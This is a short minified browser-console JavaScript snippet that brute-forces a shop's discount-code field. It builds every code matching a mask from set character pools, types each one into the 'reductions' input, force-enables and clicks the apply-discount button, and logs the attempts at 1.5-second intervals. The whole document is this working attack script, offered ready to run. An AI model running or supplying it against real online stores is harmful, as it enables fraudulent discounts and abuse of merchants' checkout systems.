(async()=>{const MASK="AEYpf-erx%%$*%db",DELAY=1500,INPUT_SEL='input[name="reductions"]',BTN_SEL='button[data-event-name="apply_discount"]',POOLS={'*':'aceimnorsuvwxz'.split(''),'%':'bdfhklt0123456789'.split(''),'$':'gjpqy'.split('')},pools=MASK.split('').map(c=>POOLS[c]||[c]),sleep=ms=>new Promise(r=>setTimeout(r,ms)),setValue=(el,val)=>{const s=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value').set;s.call(el,val);el.dispatchEvent(new Event('input',{bubbles:true}));el.dispatchEvent(new Event('change',{bubbles:true}));};function* generate(arr,i=0,curr=""){if(i===arr.length){yield curr;return;}for(const ch of arr[i])yield* generate(arr,i+1,curr+ch);}let count=1;for(const combo of generate(pools)){const input=document.querySelector(INPUT_SEL),btn=document.querySelector(BTN_SEL);if(!input||!btn){console.error('Поле или кнопка не найдены');break;}setValue(input,combo);btn.removeAttribute('disabled');btn.click();console.log(`[${count++}] ${combo}`);await sleep(DELAY);}})();